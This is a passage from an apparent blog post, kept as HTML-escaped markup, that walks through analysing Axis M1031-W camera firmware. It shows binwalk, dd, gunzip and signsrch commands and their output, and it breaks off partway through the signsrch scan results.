0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum34&quot; style=&quot;color: #606060;&quot;&gt;  34:&lt;/span&gt; crc error&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum35&quot; style=&quot;color: #606060;&quot;&gt;  35:&lt;/span&gt; length error&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum36&quot; style=&quot;color: #606060;&quot;&gt;  36:&lt;/span&gt; Uncompressing Linux...&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum37&quot; style=&quot;color: #606060;&quot;&gt;  37:&lt;/span&gt;  done, booting the kernel.&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
We can see that this is the Linux bootloader running in the camera startup process. Few days ago I submitted as bug at the binwalk developers the identification of binary format files. Binwalk was not able to identify binary files properly giving false results, at the time of this writing binwalk has been updated adding a new feature, binary file identification. The results of program now verify what we found earlier,&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis# binwalk -A bootloader | head&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; DECIMAL         HEX             DESCRIPTION&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; -------------------------------------------------------------------------------------------------------&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; 8512            0x2140          ARM &lt;span style=&quot;color: #cc6633;&quot;&gt;function&lt;/span&gt; prologue&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; 8828            0x227C          ARM &lt;span style=&quot;color: #cc6633;&quot;&gt;function&lt;/span&gt; epilogue&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; 9328            0x2470          ARM &lt;span style=&quot;color: #cc6633;&quot;&gt;function&lt;/span&gt; prologue&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; 9336            0x2478          ARM &lt;span style=&quot;color: #cc6633;&quot;&gt;function&lt;/span&gt; epilogue&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; 9380            0x24A4          ARM &lt;span style=&quot;color: #cc6633;&quot;&gt;function&lt;/span&gt; prologue&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; 9392            0x24B0          ARM &lt;span style=&quot;color: #cc6633;&quot;&gt;function&lt;/span&gt; epilogue&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; 17816           0x4598          ARM &lt;span style=&quot;color: #cc6633;&quot;&gt;function&lt;/span&gt; prologue&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Arm Linux bootloader on the camera. &lt;br /&gt;
Proceeding with the section identified as gzip we extract the data until next identified signature.&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis# dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=AXIS_M1031-W.bin bs=1 skip=95704 count=9348221 of=gzip.section.gz&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 9348221+0 records in&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 9348221+0 records out&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 9348221 bytes (9.3 MB) copied, 207.353 s, 45.1 kB/s&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
As mentioned before there is no clear mark on where is the end of the gzip section, a lot of false positives, so I go ahead and extract the section until the Zip first identified area. gunzip here was able to extract the contents with a twist,&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis# ls -Fal gzip.section.gz&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; -rw-r--r-- 1 root root 9348221 2011-08-21 09:01 gzip.section.gz&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; root@system:~/axis/analysis# gunzip gzip.section.gz&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; gzip: gzip.section.gz: decompression OK, trailing garbage ignored&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; root@system:~/axis/analysis# ls -Fal gzip.section&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; -rw-r--r-- 1 root root 2695168 2011-08-20 22:45 gzip.section&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
From the initial file that was almost 9.3 Mb the extracted contents are nearly 2.7 Mb, something is not correct here either there is a lot of padding in the file or there is something more inside the contents. At this phase I was stuck, I tried different tools with no apparent results, tools that were used are deezee from matasano’s black bag ( &lt;a href=&quot;http://www.matasano.com/&quot;&gt;www.matasano.com&lt;/a&gt; ) , signsrch from Luigi Auriemma and again binwalk. &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# ../../src/signsrch gzip.section.gz&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; Signsrch 0&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;1&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;6a&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; by Luigi Auriemma&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; e-mail: aluigi@autistici&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;org&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; web:    aluigi&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;org&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt;   optimized search function from Andrew http://www&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;team5150&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;com/~andrew/&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt;   disassembler engine from Oleh Yuschuk&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; - open file &quot;gzip&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;section&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;gz&quot;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; - 9348221 bytes allocated&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; - load signatures&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; - open file &lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;/&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;/src/signsrch&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;sig&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; - 1774060 bytes allocated for the signatures&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; - 2278 signatures in the database&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; - start signatures scanning:&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum18&quot; style=&quot;color: #606060;&quot;&gt;  18:&lt;/span&gt;   offset   num  description [bits&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;endian&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;size]&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum19&quot; style=&quot;color: #606060;&quot;&gt;  19:&lt;/span&gt;   --------------------------------------------&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum20&quot; style=&quot;color: #606060;&quot;&gt;  20:&lt;/span&gt;   0029cf30 31   Adler CRC32 (0x191b3141) [32&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;le&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;1024]&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 